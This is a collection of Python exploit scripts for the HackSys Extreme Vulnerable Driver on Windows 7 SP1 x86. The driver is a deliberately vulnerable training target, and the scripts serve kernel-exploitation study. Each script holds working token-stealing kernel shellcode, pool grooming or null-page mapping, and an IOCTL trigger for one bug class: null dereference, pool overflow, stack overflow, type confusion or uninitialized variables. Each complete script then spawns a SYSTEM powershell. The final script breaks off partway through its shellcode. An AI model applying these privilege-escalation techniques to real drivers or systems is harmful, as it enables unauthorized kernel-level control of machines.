/Windows 7 SP1 x86/NullPointerDereference_v1.20.py:
--------------------------------------------------------------------------------
 1 | #!/usr/bin/python
 2 | #
 3 | # HEVD v1.20 NullPointerDereference exploit for Windows 7 SP1 x86 by @acru3l.
 4 | #
 5 | 
 6 | import sys
 7 | import struct
 8 | from ctypes import *
 9 | 
10 | device_name = r'\\.\HackSysExtremeVulnerableDriver'
11 | 
12 | # assembled with WinDBG
13 | shellcode = ''
14 | shellcode += '\x60'                             # pushad
15 | shellcode += '\x31\xc0'                         # xor     eax,eax
16 | shellcode += '\x64\x8b\x80\x24\x01\x00\x00'     # mov     eax,dword ptr fs:[eax+124h] ; 0x124 = offset nt!_KPCR.PcrbData.CurrentThread
17 | shellcode += '\x8b\x40\x50'                     # mov     eax,dword ptr [eax+50h]     ; 0x50 = offset nt!_KTHREAD.ApcState.Process
18 | shellcode += '\x8b\xc8'                         # mov     ecx,eax
19 | shellcode += '\xba\x04\x00\x00\x00'             # mov     edx,4
20 | shellcode += '\x8b\x80\xb8\x00\x00\x00'         # mov     eax,dword ptr [eax+0B8h]    ; 0xB8 = offset nt!_EPROCESS.ActiveProcessLinks.Flink
21 | shellcode += '\x2d\xb8\x00\x00\x00'             # sub     eax,0B8h
22 | shellcode += '\x39\x90\xb4\x00\x00\x00'         # cmp     dword ptr [eax+0B4h],edx    ; 0xB4 = offset nt!_EPROCESS.UniqueProcessId
23 | shellcode += '\x75\xed'                         # jne     $-17
24 | shellcode += '\x8b\x90\xf8\x00\x00\x00'         # mov     edx,dword ptr [eax+0F8h]    ; 0xF8 = offset nt!_EPROCESS.Token
25 | shellcode += '\x89\x91\xf8\x00\x00\x00'         # mov     dword ptr [ecx+0F8h],edx
26 | shellcode += '\x61'                             # popad
27 | shellcode += '\x31\xc0'                         # xor     eax,eax
28 | shellcode += '\xc3'                             # ret     -> returns to HEVD!TriggerNullPointerDereference+0x117
29 | 
30 | hFile = windll.kernel32.CreateFileA(device_name,
31 |                                 0xC0000000,     # GENERIC_READ | GENERIC_WRITE
32 |                                 0x00000001,     # FILE_SHARE_READ
33 |                                 0,              # NULL
34 |                                 3,              # OPEN_EXISTING
35 |                                 0x80,           # FILE_ATTRIBUTE_NORMAL
36 |                                 0)              # NULL
37 | 
38 | if hFile == -1:
39 |     print '[-] Failed to open device: %s' % device_name
40 |     sys.exit(1)
41 | print '[+] Device opened successfully: %s' % device_name
42 | 
43 | # this doesn't work on Windows 10
44 | hProcess = windll.kernel32.GetCurrentProcess()
45 | base_addr = c_int(1)
46 | buff_size = c_int(len(shellcode) + 8)
47 | status = windll.ntdll.NtAllocateVirtualMemory(hProcess,
48 |                                 byref(base_addr),
49 |                                 0,
50 |                                 byref(buff_size),
51 |                                 0x00003000,     # MEM_COMMIT | MEM_RESERVE
52 |                                 0x40)           # PAGE_EXECUTE_READWRITE
53 | 
54 | if status != 0 or base_addr.value != 0:
55 |     print '[-] Failed to allocate null page'
56 |     sys.exit(1)
57 | print '[+] Null page allocated'
58 | 
59 | fake_obj = '\x00\x00\x00\x00' + \
60 |            '\x08\x00\x00\x00'                    # pointer to shellcode
61 | memmove(0, fake_obj + shellcode, len(shellcode) + 8)
62 | 
63 | print '[+] Triggering null pointer dereference'
64 | 
65 | ioctl_code = 0x22202B    # call NullPointerDereferenceIoctlHandler
66 | windll.kernel32.DeviceIoControl(hFile,
67 |                                 ioctl_code,
68 |                                 struct.pack('<L', 0xcafebabe),
69 |                                 4,
70 |                                 0,
71 |                                 0,
72 |                                 byref(c_int(0)),
73 |                                 0)
74 | 
75 | # Got SYSTEM shell?
76 | import os
77 | os.system("powershell.exe")
78 | 


--------------------------------------------------------------------------------
/Windows 7 SP1 x86/PoolOverflow_v1.20.py:
--------------------------------------------------------------------------------
  1 | #!/usr/bin/python
  2 | #
  3 | # HEVD v1.20 PoolOverflow exploit for Windows 7 SP1 x86 by @acru3l.
  4 | #
  5 | 
  6 | import sys
  7 | import struct
  8 | from ctypes import *
  9 | 
 10 | device_name = r'\\.\HackSysExtremeVulnerableDriver'
 11 | 
 12 | # assembled with WinDBG
 13 | shellcode = ''
 14 | shellcode += '\x60'                             # pushad
 15 | shellcode += '\x31\xc0'                         # xor     eax,eax
 16 | shellcode += '\x64\x8b\x80\x24\x01\x00\x00'     # mov     eax,dword ptr fs:[eax+124h] ; 0x124 = offset nt!_KPCR.PcrbData.CurrentThread
 17 | shellcode += '\x8b\x40\x50'                     # mov     eax,dword ptr [eax+50h]     ; 0x50 = offset nt!_KTHREAD.ApcState.Process
 18 | shellcode += '\x8b\xc8'                         # mov     ecx,eax
 19 | shellcode += '\xba\x04\x00\x00\x00'             # mov     edx,4
 20 | shellcode += '\x8b\x80\xb8\x00\x00\x00'         # mov     eax,dword ptr [eax+0B8h]    ; 0xB8 = offset nt!_EPROCESS.ActiveProcessLinks.Flink
 21 | shellcode += '\x2d\xb8\x00\x00\x00'             # sub     eax,0B8h
 22 | shellcode += '\x39\x90\xb4\x00\x00\x00'         # cmp     dword ptr [eax+0B4h],edx    ; 0xB4 = offset nt!_EPROCESS.UniqueProcessId
 23 | shellcode += '\x75\xed'                         # jne     $-17
 24 | shellcode += '\x8b\x90\xf8\x00\x00\x00'         # mov     edx,dword ptr [eax+0F8h]    ; 0xF8 = offset nt!_EPROCESS.Token
 25 | shellcode += '\x89\x91\xf8\x00\x00\x00'         # mov     dword ptr [ecx+0F8h],edx
 26 | shellcode += '\x61'                             # popad
 27 | shellcode += '\xc2\x10\x00'                     # ret     10h                         ; TypeInfo.OkayToCloseProcedure takes 4 arguments
 28 | 
 29 | hFile = windll.kernel32.CreateFileA(device_name,
 30 |                                 0xC0000000,     # GENERIC_READ | GENERIC_WRITE
 31 |                                 0x00000001,     # FILE_SHARE_READ
 32 |                                 0,              # NULL
 33 |                                 3,              # OPEN_EXISTING
 34 |                                 0x80,           # FILE_ATTRIBUTE_NORMAL
 35 |                                 0)              # NULL
 36 | 
 37 | if hFile == -1:
 38 |     print '[-] Failed to open device: %s' % device_name
 39 |     sys.exit(1)
 40 | print '[+] Device opened successfully: %s' % device_name
 41 | 
 42 | # Mastr Plan:
 43 | # Grooming -> Alloc Null Page -> Pool Overflow -> Free Chunks -> pwn! ;)
 44 | 
 45 | # 1. groom Kernel Pool
 46 | print '[+] Allocationg 0x20000 objects'
 47 | 
 48 | handles = []
 49 | for i in xrange(0x20000):
 50 |     hObj = windll.kernel32.CreateEventA(0,
 51 |                                     0,
 52 |                                     0,
 53 |                                     0)          # with a name, size of an Event object changes
 54 |     if hObj == 0:
 55 |         print '[!] Failed to create %d th object' % i
 56 |     
 57 |     handles.append(hObj)
 58 | 
 59 | print '[+] Creating 0x%x holes' % (0x10000 / 16)
 60 | 
 61 | for i in xrange(0x10000, 0x20000, 16):
 62 |     # 0x40 * 8 == 0x200
 63 |     for h in handles[i:i+8]:
 64 |         windll.kernel32.CloseHandle(h)
 65 | 
 66 | # 2. allocate null page
 67 | print '[+] Placing fake obj at 0x0'
 68 | 
 69 | obj_size = 0x88
 70 | # fake nt!_OBJECT_TYPE
 71 | fake_obj = '\x00' * 0x74
 72 | fake_obj += struct.pack('<L', obj_size)         # TypeInfo.OkayToCloseProcedure
 73 | fake_obj += '\x00' * 0x10
 74 | 
 75 | hProcess = windll.kernel32.GetCurrentProcess()
 76 | base_addr = c_int(1)
 77 | buff_size = c_int(obj_size + len(shellcode))
 78 | status = windll.ntdll.NtAllocateVirtualMemory(hProcess,
 79 |                                 byref(base_addr),
 80 |                                 0,
 81 |                                 byref(buff_size),
 82 |                                 0x00003000,     # MEM_COMMIT | MEM_RESERVE
 83 |                                 0x40)           # PAGE_EXECUTE_READWRITE
 84 | 
 85 | if status != 0 or base_addr.value != 0:
 86 |     print '[-] Failed to allocate null page'
 87 |     sys.exit(1)
 88 | print '[+] Null page allocated'
 89 | 
 90 | memmove(0, fake_obj + shellcode, obj_size + len(shellcode))
 91 | 
 92 | # 3. trigger pool oveflow
 93 | print '[+] Triggering Pool Overflow'
 94 | 
 95 | # nt!_POOL_HEADER:
 96 | #   +0x000 PreviousSize     : 0y001000000 (0x40)
 97 | #   +0x000 PoolIndex        : 0y0000000 (0)
 98 | #   +0x002 BlockSize        : 0y000001000 (0x8)
 99 | #   +0x002 PoolType         : 0y0000010 (0x2)
100 | #   +0x000 Ulong1           : 0x4080040
101 | #   +0x004 PoolTag          : 0xee657645
102 | #   +0x004 AllocatorBackTraceIndex : 0x7645
103 | #   +0x006 PoolTagHash      : 0xee65
104 | pool_hdr = '\x40\x00\x08\x04' + \
105 |            '\x45\x76\x65\xee'
106 | 
107 | # nt!_OBJECT_HEADER_QUOTA_INFO:
108 | #   +0x000 PagedPoolCharge  : 0
109 | #   +0x004 NonPagedPoolCharge : 0x40
110 | #   +0x008 SecurityDescriptorCharge : 0
111 | #   +0x00c SecurityDescriptorQuotaBlock : (null)
112 | quota_info = '\x00\x00\x00\x00' + \
113 |              '\x40\x00\x00\x00' + \
114 |              '\x00\x00\x00\x00' + \
115 |              '\x00\x00\x00\x00'
116 | 
117 | # nt!_OBJECT_HEADER:
118 | #   +0x000 PointerCount     : 0n1
119 | #   +0x004 HandleCount      : 0n1
120 | #   +0x004 NextToFree       : 0x00000001 Void
121 | #   +0x008 Lock             : _EX_PUSH_LOCK
122 | #   +0x00c TypeIndex        : 0xc ''
123 | #   +0x00d TraceFlags       : 0 ''
124 | #   +0x00e InfoMask         : 0x8 ''
125 | #   +0x00f Flags            : 0 ''
126 | #   ...snip...
127 | obj_hdr = '\x01\x00\x00\x00' + \
128 |           '\x01\x00\x00\x00' + \
129 |           '\x00\x00\x00\x00' + \
130 |           '\x00\x00\x08\x00'                # TypeIndex: 0x0c -> 0x00
131 | 
132 | payload = 'A' * 0x1F8 + pool_hdr + quota_info + obj_hdr
133 | 
134 | ioctl_code = 0x22200F   # call PoolOverflowIoctlHandler
135 | windll.kernel32.DeviceIoControl(hFile,
136 |                                 ioctl_code,
137 |                                 payload,
138 |                                 len(payload),
139 |                                 0,
140 |                                 0,
141 |                                 byref(c_int(0)),
142 |                                 0)
143 | 
144 | # 4. free all chunks
145 | for h in handles:
146 |     windll.kernel32.CloseHandle(h)
147 | 
148 | # Got SYSTEM shell?
149 | import os
150 | os.system("powershell.exe")
151 | 


--------------------------------------------------------------------------------
/Windows 7 SP1 x86/StackOverflowGS_v1.20.py:
--------------------------------------------------------------------------------
  1 | #!/usr/bin/python
  2 | #
  3 | # HEVD v1.20 StackOverflowGS exploit for Windows 7 SP1 x86 by @acru3l.
  4 | #
  5 | 
  6 | import sys
  7 | import struct
  8 | from ctypes import *
  9 | 
 10 | device_name = r'\\.\HackSysExtremeVulnerableDriver'
 11 | 
 12 | # assembled with WinDBG
 13 | shellcode = ''
 14 | shellcode += '\x60'                             # pushad
 15 | shellcode += '\x31\xc0'                         # xor     eax,eax
 16 | shellcode += '\x64\x8b\x80\x24\x01\x00\x00'     # mov     eax,dword ptr fs:[eax+124h] ; 0x124 = offset nt!_KPCR.PcrbData.CurrentThread
 17 | shellcode += '\x8b\x40\x50'                     # mov     eax,dword ptr [eax+50h]     ; 0x50 = offset nt!_KTHREAD.ApcState.Process
 18 | shellcode += '\x8b\xc8'                         # mov     ecx,eax
 19 | shellcode += '\xba\x04\x00\x00\x00'             # mov     edx,4
 20 | shellcode += '\x8b\x80\xb8\x00\x00\x00'         # mov     eax,dword ptr [eax+0B8h]    ; 0xB8 = offset nt!_EPROCESS.ActiveProcessLinks.Flink
 21 | shellcode += '\x2d\xb8\x00\x00\x00'             # sub     eax,0B8h
 22 | shellcode += '\x39\x90\xb4\x00\x00\x00'         # cmp     dword ptr [eax+0B4h],edx    ; 0xB4 = offset nt!_EPROCESS.UniqueProcessId
 23 | shellcode += '\x75\xed'                         # jne     $-17
 24 | shellcode += '\x8b\x90\xf8\x00\x00\x00'         # mov     edx,dword ptr [eax+0F8h]    ; 0xF8 = offset nt!_EPROCESS.Token
 25 | shellcode += '\x89\x91\xf8\x00\x00\x00'         # mov     dword ptr [ecx+0F8h],edx
 26 | shellcode += '\x61'                             # popad
 27 | shellcode += '\x31\xc0'                         # xor     eax,eax
 28 | shellcode += '\x64\x8b\x80\x24\x01\x00\x00'     # mov     eax,dword ptr fs:[eax+124h] ; 0x124 = offset nt!_KPCR.PcrbData.CurrentThread
 29 | shellcode += '\x8b\x80\x90\x01\x00\x00'         # mov     eax,dword ptr [eax+190h]    ; 0x190 = offset nt!_KTHREAD.StackBase
 30 | shellcode += '\x2d\x20\x05\x00\x00'             # sub     eax,520h
 31 | shellcode += '\x8b\xe0'                         # mov     esp,eax
 32 | shellcode += '\x5d'                             # pop     ebp                         ; restore ebp
 33 | shellcode += '\x8b\x7c\x24\x04'                 # mov     edi,dword ptr [esp+4]       ; restore edi
 34 | shellcode += '\x8b\x74\x24\x08'                 # mov     esi,dword ptr [esp+8]       ; restore esi
 35 | shellcode += '\x31\xc0'                         # xor     eax,eax
 36 | shellcode += '\xc2\x08\x00'                     # ret     8 -> returns to HEVD!IrpDeviceIoCtlHandler+0xdf
 37 | 
 38 | hFile = windll.kernel32.CreateFileA(device_name,
 39 |                                 0xC0000000,     # GENERIC_READ | GENERIC_WRITE
 40 |                                 0x00000001,     # FILE_SHARE_READ
 41 |                                 0,              # NULL
 42 |                                 3,              # OPEN_EXISTING
 43 |                                 0x80,           # FILE_ATTRIBUTE_NORMAL
 44 |                                 0)              # NULL
 45 | 
 46 | if hFile == -1:
 47 |     print '[-] Failed to open device: %s' % device_name
 48 |     sys.exit(1)
 49 | print '[+] Device opened successfully: %s' % device_name
 50 | 
 51 | # this might not be page-aligned
 52 | buff_ptr = windll.kernel32.VirtualAlloc(0,
 53 |                                 0x3000,
 54 |                                 0x00003000,     # MEM_COMMIT | MEM_RESERVE
 55 |                                 0x40)           # PAGE_EXECUTE_READWRITE
 56 | 
 57 | if buff_ptr == 0:
 58 |     print '[-] Failed to allocate buffer'
 59 |     sys.exit(1)
 60 | 
 61 | # get ptr to the first page
 62 | page_ptr = (buff_ptr + 0xfff) & 0xfffff000
 63 | print '[+] Address of the first page: 0x%08x' % page_ptr
 64 | 
 65 | # release (decommit) the second page
 66 | print '[+] Releasing the second page'
 67 | retval = windll.kernel32.VirtualFree(page_ptr + 0x1000,
 68 |                                 0x1000,
 69 |                                 0x4000)         # MEM_DECOMMIT
 70 | 
 71 | if retval == 0:
 72 |     print '[-] Failed to release the second page'
 73 |     sys.exit(1)
 74 | 
 75 | # smashing CPPEH_RECORD on the stack
 76 | payload = 'A' * 0x204
 77 | payload += 'BBBB'                               # CPPEH_RECORD.old_esp
 78 | payload += 'CCCC'                               # CPPEH_RECORD.exc_ptr
 79 | payload += 'DDDD'                               # CPPEH_RECORD.registration.Next
 80 | payload += struct.pack('<L', page_ptr)          # ExceptionHandler!
 81 | 
 82 | padding = '\xcc' * (0x1000 - len(shellcode) - len(payload))
 83 | 
 84 | # +-----------+---------+---------+---------------------------------+
 85 | # | shellcode | padding | payload |           unused page           |
 86 | # +-----------+---------+---------+---------------------------------+
 87 | memmove(page_ptr, shellcode + padding + payload, 0x1000)
 88 | payload_ptr = page_ptr + 0x1000 - len(payload)
 89 | 
 90 | print '[+] Triggering stack buffer overflow'
 91 | 
 92 | ioctl_code = 0x222007    # call StackOverflowGSIoctlHandler
 93 | windll.kernel32.DeviceIoControl(hFile,
 94 |                                 ioctl_code,
 95 |                                 payload_ptr,
 96 |                                 len(payload) + 1,
 97 |                                 0,
 98 |                                 0,
 99 |                                 byref(c_int(0)),
100 |                                 0)
101 | 
102 | # Got SYSTEM shell?
103 | import os
104 | os.system("powershell.exe")
105 | 


--------------------------------------------------------------------------------
/Windows 7 SP1 x86/StackOverflow_v1.20.py:
--------------------------------------------------------------------------------
 1 | #!/usr/bin/python
 2 | #
 3 | # HEVD v1.20 StackOverflow exploit for Windows 7 SP1 x86 by @acru3l.
 4 | #
 5 | 
 6 | import sys
 7 | import struct
 8 | from ctypes import *
 9 | 
10 | device_name = r'\\.\HackSysExtremeVulnerableDriver'
11 | 
12 | # assembled with WinDBG
13 | shellcode = ''
14 | shellcode += '\x60'                             # pushad
15 | shellcode += '\x31\xc0'                         # xor     eax,eax
16 | shellcode += '\x64\x8b\x80\x24\x01\x00\x00'     # mov     eax,dword ptr fs:[eax+124h] ; 0x124 = offset nt!_KPCR.PcrbData.CurrentThread
17 | shellcode += '\x8b\x40\x50'                     # mov     eax,dword ptr [eax+50h]     ; 0x50 = offset nt!_KTHREAD.ApcState.Process
18 | shellcode += '\x8b\xc8'                         # mov     ecx,eax
19 | shellcode += '\xba\x04\x00\x00\x00'             # mov     edx,4
20 | shellcode += '\x8b\x80\xb8\x00\x00\x00'         # mov     eax,dword ptr [eax+0B8h]    ; 0xB8 = offset nt!_EPROCESS.ActiveProcessLinks.Flink
21 | shellcode += '\x2d\xb8\x00\x00\x00'             # sub     eax,0B8h
22 | shellcode += '\x39\x90\xb4\x00\x00\x00'         # cmp     dword ptr [eax+0B4h],edx    ; 0xB4 = offset nt!_EPROCESS.UniqueProcessId
23 | shellcode += '\x75\xed'                         # jne     $-17
24 | shellcode += '\x8b\x90\xf8\x00\x00\x00'         # mov     edx,dword ptr [eax+0F8h]    ; 0xF8 = offset nt!_EPROCESS.Token
25 | shellcode += '\x89\x91\xf8\x00\x00\x00'         # mov     dword ptr [ecx+0F8h],edx
26 | shellcode += '\x61'                             # popad
27 | shellcode += '\x31\xc0'                         # xor     eax,eax
28 | shellcode += '\x5d'                             # pop     ebp
29 | shellcode += '\xc2\x08\x00'                     # ret     8 -> returns to HEVD!IrpDeviceIoCtlHandler+0xf7
30 | 
31 | hFile = windll.kernel32.CreateFileA(device_name,
32 |                                 0xC0000000,     # GENERIC_READ | GENERIC_WRITE
33 |                                 0x00000001,     # FILE_SHARE_READ
34 |                                 0,              # NULL
35 |                                 3,              # OPEN_EXISTING
36 |                                 0x80,           # FILE_ATTRIBUTE_NORMAL
37 |                                 0)              # NULL
38 | 
39 | if hFile == -1:
40 |     print '[-] Failed to open device: %s' % device_name
41 |     sys.exit(1)
42 | print '[+] Device opened successfully: %s' % device_name
43 | 
44 | shellcode_buffer = windll.kernel32.VirtualAlloc(0,
45 |                                 len(shellcode),
46 |                                 0x00003000,     # MEM_COMMIT | MEM_RESERVE
47 |                                 0x40)           # PAGE_EXECUTE_READWRITE
48 | 
49 | if shellcode_buffer == 0:
50 |     print '[-] Failed to allocate shellcode'
51 |     sys.exit(1)
52 | print '[+] Shellcode allocated at 0x%08x' % shellcode_buffer
53 | 
54 | memmove(shellcode_buffer, shellcode, len(shellcode))
55 | 
56 | payload = 'A' * 0x820 + struct.pack('<L', shellcode_buffer)
57 | payload_buffer = create_string_buffer(payload)
58 | 
59 | print '[+] Triggering stack buffer overflow'
60 | 
61 | ioctl_code = 0x222003    # call StackOverflowIoctlHandler
62 | windll.kernel32.DeviceIoControl(hFile,
63 |                                 ioctl_code,
64 |                                 payload_buffer,
65 |                                 len(payload),
66 |                                 0,
67 |                                 0,
68 |                                 byref(c_int(0)),
69 |                                 0)
70 | 
71 | # Got SYSTEM shell?
72 | import os
73 | os.system("powershell.exe")
74 | 


--------------------------------------------------------------------------------
/Windows 7 SP1 x86/TypeConfusion_v1.20.py:
--------------------------------------------------------------------------------
 1 | #!/usr/bin/python
 2 | #
 3 | # HEVD v1.20 TypeConfusion exploit for Windows 7 SP1 x86 by @acru3l.
 4 | #
 5 | 
 6 | import sys
 7 | import struct
 8 | from ctypes import *
 9 | 
10 | device_name = r'\\.\HackSysExtremeVulnerableDriver'
11 | 
12 | # assembled with WinDBG
13 | shellcode = ''
14 | shellcode += '\x60'                             # pushad
15 | shellcode += '\x31\xc0'                         # xor     eax,eax
16 | shellcode += '\x64\x8b\x80\x24\x01\x00\x00'     # mov     eax,dword ptr fs:[eax+124h] ; 0x124 = offset nt!_KPCR.PcrbData.CurrentThread
17 | shellcode += '\x8b\x40\x50'                     # mov     eax,dword ptr [eax+50h]     ; 0x50 = offset nt!_KTHREAD.ApcState.Process
18 | shellcode += '\x8b\xc8'                         # mov     ecx,eax
19 | shellcode += '\xba\x04\x00\x00\x00'             # mov     edx,4
20 | shellcode += '\x8b\x80\xb8\x00\x00\x00'         # mov     eax,dword ptr [eax+0B8h]    ; 0xB8 = offset nt!_EPROCESS.ActiveProcessLinks.Flink
21 | shellcode += '\x2d\xb8\x00\x00\x00'             # sub     eax,0B8h
22 | shellcode += '\x39\x90\xb4\x00\x00\x00'         # cmp     dword ptr [eax+0B4h],edx    ; 0xB4 = offset nt!_EPROCESS.UniqueProcessId
23 | shellcode += '\x75\xed'                         # jne     $-17
24 | shellcode += '\x8b\x90\xf8\x00\x00\x00'         # mov     edx,dword ptr [eax+0F8h]    ; 0xF8 = offset nt!_EPROCESS.Token
25 | shellcode += '\x89\x91\xf8\x00\x00\x00'         # mov     dword ptr [ecx+0F8h],edx
26 | shellcode += '\x61'                             # popad
27 | shellcode += '\x31\xc0'                         # xor     eax,eax
28 | shellcode += '\xc3'                             # ret
29 | 
30 | hFile = windll.kernel32.CreateFileA(device_name,
31 |                                 0xC0000000,     # GENERIC_READ | GENERIC_WRITE
32 |                                 0x00000001,     # FILE_SHARE_READ
33 |                                 0,              # NULL
34 |                                 3,              # OPEN_EXISTING
35 |                                 0x80,           # FILE_ATTRIBUTE_NORMAL
36 |                                 0)              # NULL
37 | 
38 | if hFile == -1:
39 |     print '[-] Failed to open device: %s' % device_name
40 |     sys.exit(1)
41 | print '[+] Device opened successfully: %s' % device_name
42 | 
43 | shellcode_buffer = windll.kernel32.VirtualAlloc(0,
44 |                                 len(shellcode),
45 |                                 0x00003000,     # MEM_COMMIT | MEM_RESERVE
46 |                                 0x40)           # PAGE_EXECUTE_READWRITE
47 | 
48 | if shellcode_buffer == 0:
49 |     print '[-] Failed to allocate shellcode'
50 |     sys.exit(1)
51 | print '[+] Shellcode allocated at 0x%08x' % shellcode_buffer
52 | 
53 | memmove(shellcode_buffer, shellcode, len(shellcode))
54 | 
55 | payload = 'AAAA' + \
56 |           struct.pack('<L', shellcode_buffer)   # KERNEL_TYPE_CONFUSION_OBJECT.Callback
57 | payload_buffer = create_string_buffer(payload)
58 | 
59 | print '[+] Calling ObjectType as Callback'
60 | 
61 | ioctl_code = 0x222023   # call TypeConfusionIoctlHandler
62 | windll.kernel32.DeviceIoControl(hFile,
63 |                                 ioctl_code,
64 |                                 payload_buffer,
65 |                                 len(payload),
66 |                                 0,
67 |                                 0,
68 |                                 byref(c_int(0)),
69 |                                 0)
70 | 
71 | # Got SYSTEM shell?
72 | import os
73 | os.system("powershell.exe")
74 | 


--------------------------------------------------------------------------------
/Windows 7 SP1 x86/UninitializedHeapVariable_v1.20.py:
--------------------------------------------------------------------------------
  1 | #!/usr/bin/python
  2 | #
  3 | # HEVD v1.20 UninitializedHeapVariable exploit for Windows 7 SP1 x86 by @acru3l.
  4 | #
  5 | 
  6 | import sys
  7 | import struct
  8 | from ctypes import *
  9 | 
 10 | device_name = r'\\.\HackSysExtremeVulnerableDriver'
 11 | 
 12 | # assembled with WinDBG
 13 | shellcode = ''
 14 | shellcode += '\x60'                             # pushad
 15 | shellcode += '\x31\xc0'                         # xor     eax,eax
 16 | shellcode += '\x64\x8b\x80\x24\x01\x00\x00'     # mov     eax,dword ptr fs:[eax+124h] ; 0x124 = offset nt!_KPCR.PcrbData.CurrentThread
 17 | shellcode += '\x8b\x40\x50'                     # mov     eax,dword ptr [eax+50h]     ; 0x50 = offset nt!_KTHREAD.ApcState.Process
 18 | shellcode += '\x8b\xc8'                         # mov     ecx,eax
 19 | shellcode += '\xba\x04\x00\x00\x00'             # mov     edx,4
 20 | shellcode += '\x8b\x80\xb8\x00\x00\x00'         # mov     eax,dword ptr [eax+0B8h]    ; 0xB8 = offset nt!_EPROCESS.ActiveProcessLinks.Flink
 21 | shellcode += '\x2d\xb8\x00\x00\x00'             # sub     eax,0B8h
 22 | shellcode += '\x39\x90\xb4\x00\x00\x00'         # cmp     dword ptr [eax+0B4h],edx    ; 0xB4 = offset nt!_EPROCESS.UniqueProcessId
 23 | shellcode += '\x75\xed'                         # jne     $-17
 24 | shellcode += '\x8b\x90\xf8\x00\x00\x00'         # mov     edx,dword ptr [eax+0F8h]    ; 0xF8 = offset nt!_EPROCESS.Token
 25 | shellcode += '\x89\x91\xf8\x00\x00\x00'         # mov     dword ptr [ecx+0F8h],edx
 26 | shellcode += '\x61'                             # popad
 27 | shellcode += '\xc3'                             # ret
 28 | 
 29 | def rand_str(n):
 30 |     import random
 31 |     charset = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
 32 |     res = []
 33 |     for i in xrange(n):
 34 |         res.append(random.choice(charset))
 35 |     
 36 |     return ''.join(res)
 37 | 
 38 | hFile = windll.kernel32.CreateFileA(device_name,
 39 |                                 0xC0000000,     # GENERIC_READ | GENERIC_WRITE
 40 |                                 0x00000001,     # FILE_SHARE_READ
 41 |                                 0,              # NULL
 42 |                                 3,              # OPEN_EXISTING
 43 |                                 0x80,           # FILE_ATTRIBUTE_NORMAL
 44 |                                 0)              # NULL
 45 | 
 46 | if hFile == -1:
 47 |     print '[-] Failed to open device: %s' % device_name
 48 |     sys.exit(1)
 49 | print '[+] Device opened successfully: %s' % device_name
 50 | 
 51 | shellcode_buffer = windll.kernel32.VirtualAlloc(0,
 52 |                                 len(shellcode) + 1,
 53 |                                 0x00003000,     # MEM_COMMIT | MEM_RESERVE
 54 |                                 0x40)           # PAGE_EXECUTE_READWRITE
 55 | 
 56 | if shellcode_buffer == 0:
 57 |     print '[-] Failed to allocate shellcode'
 58 |     sys.exit(1)
 59 | if shellcode_buffer & 0xFFFF == 0:
 60 |     # make sure it won't terminate event name...
 61 |     shellcode_buffer += 1
 62 | print '[+] Shellcode allocated at 0x%08x' % shellcode_buffer
 63 | 
 64 | memmove(shellcode_buffer, shellcode, len(shellcode))
 65 | 
 66 | # kd> !poolinfo -b f8 -l -t nonpaged 82b4ac40
 67 | # Lookaside[1E]: size=0F8, 82b4b4b0
 68 | #   99d3f588: size:0F8 prev:030 index:02 type:05 tag:FMfn
 69 | #   99d08f08: size:0F8 prev:030 index:03 type:05 tag:NtFA
 70 | # kd>
 71 | 
 72 | print '[+] Consuming Lookaside bucket'
 73 | objects = []
 74 | for i in xrange(0x100):
 75 |     payload = 'AAAA' + struct.pack('<L', shellcode_buffer) + rand_str(0xe6) + '\x00' * 2
 76 |     payload_buff = create_string_buffer(payload)
 77 |     hObj = windll.kernel32.CreateEventW(0,
 78 |                                     0,
 79 |                                     0,
 80 |                                     payload_buff)
 81 |     objects.append(hObj)
 82 | 
 83 | # kd> !poolinfo -b f8 -l -t nonpaged 82b4ac40
 84 | # Lookaside[1E]: size=0F8, 82b4b4b0
 85 | #   99d3f588: size:0F8 prev:030 index:02 type:05 tag:ObNm
 86 | # kd>
 87 | 
 88 | print '[+] Freeing Lookaside bucket'
 89 | for h in objects:
 90 |     windll.kernel32.CloseHandle(h)
 91 | 
 92 | # kd> !poolinfo -b f8 -l -t nonpaged 82b4ac40
 93 | # Lookaside[1E]: size=0F8, 82b4b4b0
 94 | #   99d31d30: size:0F8 prev:080 index:03 type:05 tag:ObNm
 95 | #   8d8f45e0: size:0F8 prev:028 index:01 type:05 tag:ObNm
 96 | #   99d08f08: size:0F8 prev:030 index:03 type:05 tag:ObNm
 97 | #   99d3f588: size:0F8 prev:030 index:02 type:05 tag:ObNm
 98 | # kd>
 99 | 
100 | print '[+] Triggering reuse of dirty chunk'
101 | 
102 | ioctl_code = 0x222033    # call UninitializedHeapVariableIoctlHandler
103 | windll.kernel32.DeviceIoControl(hFile,
104 |                                 ioctl_code,
105 |                                 struct.pack('<L', 0xcafebabe),
106 |                                 4,
107 |                                 0,
108 |                                 0,
109 |                                 byref(c_int(0)),
110 |                                 0)
111 | 
112 | # Got SYSTEM shell?
113 | import os
114 | os.system("powershell.exe")
115 | 


--------------------------------------------------------------------------------
/Windows 7 SP1 x86/UninitializedStackVariable_v1.20.py:
--------------------------------------------------------------------------------
  1 | #!/usr/bin/python
  2 | #
  3 | # HEVD v1.20 UninitializedStackVariable exploit for Windows 7 SP1 x86 by @acru3l.
  4 | #
  5 | 
  6 | import sys
  7 | import struct
  8 | from ctypes import *
  9 | 
 10 | device_name = r'\\.\HackSysExtremeVulnerableDriver'
 11 | 
 12 | # assembled with WinDBG
 13 | shellcode = ''
 14 | shellcode += '\x60'                             # pushad
 15 | shellcode += '\x31\xc0'                         # xor     eax,eax
 16 | shellcode += '\x64\x8b\x80\x24\x01\x00\x00'     # mov     eax,dword ptr fs:[eax+124h] ; 0x124 = offset nt!_KPCR.PcrbData.CurrentThread
 17 | shellcode += '\x8b\x40\x50'                     # mov     eax,dword ptr [eax+50h]     ; 0x50 = offset nt!_KTHREAD.ApcState.Process
 18 | shellcode += '\x8b\xc8'                         # mov     ecx,eax
 19 | shellcode += '\xba\x04\x00\x00\x00'             # mov     edx,4
 20 | shellcode += '\x8b\x80\xb8\x00\x00\x00'         # mov     eax,dword ptr [eax+0B8h]    ; 0xB8 = offset nt!_EPROCESS.ActiveProcessLinks.Flink
 21 | shellcode += '\x2d\xb8\x00\x00\x00'             # sub     eax,0B8h
 22 | shellcode += '\x39\x90\xb4\x00\x00\x00'         # cmp     dword ptr [eax+0B4h],edx    ; 0xB4 = offset nt!_EPROCESS.UniqueProcessId
 23 | shellcode += '\x75\xed'                         # jne     $-17
 24 | shellcode += '\x8b\x90\xf8\x00\x00\x00'         # mov     edx,dword ptr [eax+0F8h]    ; 0xF8 = offset nt!_EPROCESS.Token
